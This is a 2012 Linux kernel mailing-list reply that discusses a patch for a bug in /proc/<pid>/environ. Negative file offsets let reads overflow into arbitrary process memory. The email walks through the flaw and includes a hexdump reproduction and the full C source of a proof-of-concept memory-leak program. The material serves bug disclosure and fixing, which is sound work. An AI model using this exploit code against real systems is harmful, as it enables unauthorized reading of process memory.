Hi Oleg, On Sun, Jul 22, 2012 at 10:00:49PM +0200, Oleg Nesterov wrote: > On 07/22, Djalal Harouni wrote: > > > > __mem_open() which is called by both /proc/<pid>/environ and > > /proc/<pid>/mem ->open() handlers will allow the use of negative offsets. > > /proc/<pid>/mem has negative offsets but not /proc/<pid>/environ. > > Probablt the patch makes sense, but I can't understand the changelog... > > > Allowing negative offsets on /proc/<pid>/environ can turn it to act like > > /proc/<pid>/mem. A negative offset will pass the > > fs/read_write.c:lseek_execute() and the environ_read() checks and will > > point to another VMA. > > which VMA? It depends on the offset. Please see below.
> environ_read() can only read the memory from [env_start, env_end], and > it should check *ppos anyway to ensure it doesn't read something else. Yes I agree, but currently that's not the case, there are no checks on *ppos. So if you pass a negative offset you will be able to read from an arbitrary address. I'll send another patch tomorrow to add the checks for *ppos. Since negative offsets are allowed we can pass it to lseek(): 1) ->llseek() -> generic_file_llseek() -> generic_file_llseek_size() -> lseek_execute() inside fs/read_write.c:lseek_execute() we pass the two checks and file->f_pos will be updated. 2) ->read() -> environ_read() inside environ_read() there is only a one check: int this_len = mm->env_end - (mm->env_start + src); if (this_len <= 0) break; Here 'src' is 'src = *ppos' the negative offset converted to unsigned long and (mm->env_start + src) can overflow and point to another VMA. int this_len = mm->env_end - (mm->env_start + src) 'this_len' will be positive and we pass that check. I also don't like the truncation of the result to 'int this_len' A quick example to reproduce it: New kernels /proc/<pid>/stat include 'mm->env_start', third number from the end. To read the .text area from 0x00400000: 0x00400000 - (mm->env_start == 140733359794601) = negative_offset $ ./mem_environ /proc/$(pidof cat)/environ 140733359794601 | hexdump -C -v 00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............| 00000010 02 00 3e 00 01 00 00 00 a0 17 40 00 00 00 00 00 |..>.......@.....| 00000020 40 00 00 00 00 00 00 00 40 c5 00 00 00 00 00 00 |@.......@.......| ... mem_environ is just a program that calculats the negative offset, open(/proc/<pid>/environ), lseek() and read(). The source is attached, just run this command to test it: $ ./mem_environ /proc/self/environ 0x0 | hexdump -C -v In rare cases it will not work, I don't know why. > > static int mem_open(struct inode *inode, struct file *file) > > { > > - return __mem_open(inode, file, PTRACE_MODE_ATTACH); > > + int ret = __mem_open(inode, file, PTRACE_MODE_ATTACH); > > + if (!ret) > > + /* OK to pass negative loff_t, we can catch out-of-range */ > > + file->f_mode |= FMODE_UNSIGNED_OFFSET; > > + > > + return ret; > > I guess you can set FMODE_UNSIGNED_OFFSET unconditionally, it doesn't > matter if __mem_open() fails. But I won't insist. Sure. > Oleg. > Thanks Oleg. BTW should I resend the patch with a better changelog entry ? I'll also add another patch to check the offsets inside environ_read(). -- tixxdz http://opendz.org
/* * /proc/<pid>/environ like /proc/<pid>/mem * * Author: Djalal Harouni tixxdz opendz.org * License: GPLv2 * * * (mm->env_start + src) will point to your page. * src is the offset * For 64bits: A negative offset. * For 32bits: Did not test, can we wrap ? * */ #define _LARGEFILE64_SOURCE #define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> #define SYS_lseek 8 extern char **environ; /* use **environ against a non -fPIC elf */ static inline loff_t get_offset(unsigned long env_addr) { unsigned long load_addr = 0x00400000; return (load_addr - env_addr); } static loff_t kernel_lseek(int fd, loff_t offset) { return syscall(SYS_lseek, fd, offset, SEEK_SET); } static int leak(char *proc_file, unsigned long env_start) { int ret; int i, fd; char buf[4096]; loff_t offset = 0; memset(buf, 0, sizeof(buf)); ret = -1; fd = open(proc_file, O_RDONLY); if (fd == -1) { perror("open"); return ret; } if (env_start) offset = get_offset(env_start); if (!offset) /* really ? */ offset = get_offset((unsigned long)*environ); if (kernel_lseek(fd, offset) == (off_t) -1) { perror("lseek"); return ret; } ret = read(fd, buf, sizeof(buf)); if (ret == -1) { perror("read"); return ret; } close(fd); for (i = 0; i < sizeof(buf); i++) printf("%c", buf[i]); return 0; } int main(int argc, char **argv) { unsigned long env_addr = 0; if (argc < 3) { printf("%s /proc/<pid>/environ env_addr\n" " /proc/<pid>/environ.\n" " env_addr: start of environment\n", argv[0]); return 0; } env_addr = (unsigned long) strtoul(argv[2], NULL, 0); return leak(argv[1], env_addr); }